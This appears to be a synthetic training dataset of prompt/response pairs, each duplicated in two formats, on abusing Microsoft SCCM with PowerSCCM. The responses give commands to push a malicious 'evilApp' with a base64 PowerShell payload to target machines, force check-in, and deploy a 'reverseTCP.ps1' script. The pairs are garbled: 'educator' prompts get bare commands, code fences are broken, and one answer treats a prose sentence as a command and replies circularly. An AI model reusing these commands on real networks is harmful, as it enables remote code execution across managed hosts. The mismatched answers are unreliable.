System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Add computers to the collection?

Response: Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "target" -CollectionName "collection"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Create an application to deploy

[Assistant] Get-SccmSession | New-SccmApplication -ApplicationName "evilApp" -PowerShellB64 $BASE64_PAYLOAD

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Create an application to deploy

Response: Get-SccmSession | New-SccmApplication -ApplicationName "evilApp" -PowerShellB64 $BASE64_PAYLOAD


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Create an application to deploy

[Assistant] Get-SccmSession | New-SccmApplication -ApplicationName "evilApp" -PowerShellB64 $BASE64_PAYLOAD

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Create an application to deploy

Response: Get-SccmSession | New-SccmApplication -ApplicationName "evilApp" -PowerShellB64 $BASE64_PAYLOAD


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Create an application deployment with the application and the collection previously created work?

[Assistant] Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "evilApp" -AssignmentName "assig" -CollectionName "collection"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Create an application deployment with the application and the collection previously created work?

Response: Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "evilApp" -AssignmentName "assig" -CollectionName "collection"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Create an application deployment with the application and the collection previously created during a pentest?

[Assistant] Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "evilApp" -AssignmentName "assig" -CollectionName "collection"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Create an application deployment with the application and the collection previously created during a pentest?

Response: Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "evilApp" -AssignmentName "assig" -CollectionName "collection"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Force the machine in the collection to check the application update (and force the install)

[Assistant]
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "collection"
``

If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.

This pull request on PowerSCCM can be used to do everything in one command. It uses the script configurationmanager.psd1 created by Microsoft, usually installed on SCCM servers.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Force the machine in the collection to check the application update (and force the install)

Response:
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "collection"
``

If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.

This pull request on PowerSCCM can be used to do everything in one command. It uses the script configurationmanager.psd1 created by Microsoft, usually installed on SCCM servers.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Force the machine in the collection to check the application update (and force the install)?

[Assistant]
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "collection"
``

If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.

This pull request on PowerSCCM can be used to do everything in one command. It uses the script configurationmanager.psd1 created by Microsoft, usually installed on SCCM servers.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Force the machine in the collection to check the application update (and force the install)?

Response:
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "collection"
``

If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.

This pull request on PowerSCCM can be used to do everything in one command. It uses the script configurationmanager.psd1 created by Microsoft, usually installed on SCCM servers.

``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use If for force the machine in the collection to check the application update (and force the install)?

[Assistant]
If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.

This [pull request](https://github.com/PowerShellMafia/PowerSCCM/pull/6) on PowerSCCM can be used to do everything in one command. It uses the script `configurationmanager.psd1` created by Microsoft, usually installed on SCCM servers.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use If for force the machine in the collection to check the application update (and force the install)?

Response:
If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.

This [pull request](https://github.com/PowerShellMafia/PowerSCCM/pull/6) on PowerSCCM can be used to do everything in one command. It uses the script `configurationmanager.psd1` created by Microsoft, usually installed on SCCM servers.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Force the machine in the collection to check the application update (and force the install)?

[Assistant]
If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.

This [pull request](https://github.com/PowerShellMafia/PowerSCCM/pull/6) on PowerSCCM can be used to do everything in one command. It uses the script `configurationmanager.psd1` created by Microsoft, usually installed on SCCM servers.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Force the machine in the collection to check the application update (and force the install)?

Response:
If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.

This [pull request](https://github.com/PowerShellMafia/PowerSCCM/pull/6) on PowerSCCM can be used to do everything in one command. It uses the script `configurationmanager.psd1` created by Microsoft, usually installed on SCCM servers.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.`?

[Assistant] This command is used for force the machine in the collection to check the application update (and force the install). Force the machine in the collection to check the application update (and force the install)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.`?

Response: This command is used for force the machine in the collection to check the application update (and force the install). Force the machine in the collection to check the application update (and force the install)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Create a CM drive if it doesn't already exist and deploy a CMScript on a target work?

[Assistant]
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN 'sccm.domain.local' -TargetDevice 'target' -Path '.\reverseTCP.ps1' -ScriptName 'evilScript'
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Create a CM drive if it doesn't already exist and deploy a CMScript on a target work?

Response:
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN 'sccm.domain.local' -TargetDevice 'target' -Path '.\reverseTCP.ps1' -ScriptName 'evilScript'
```

:::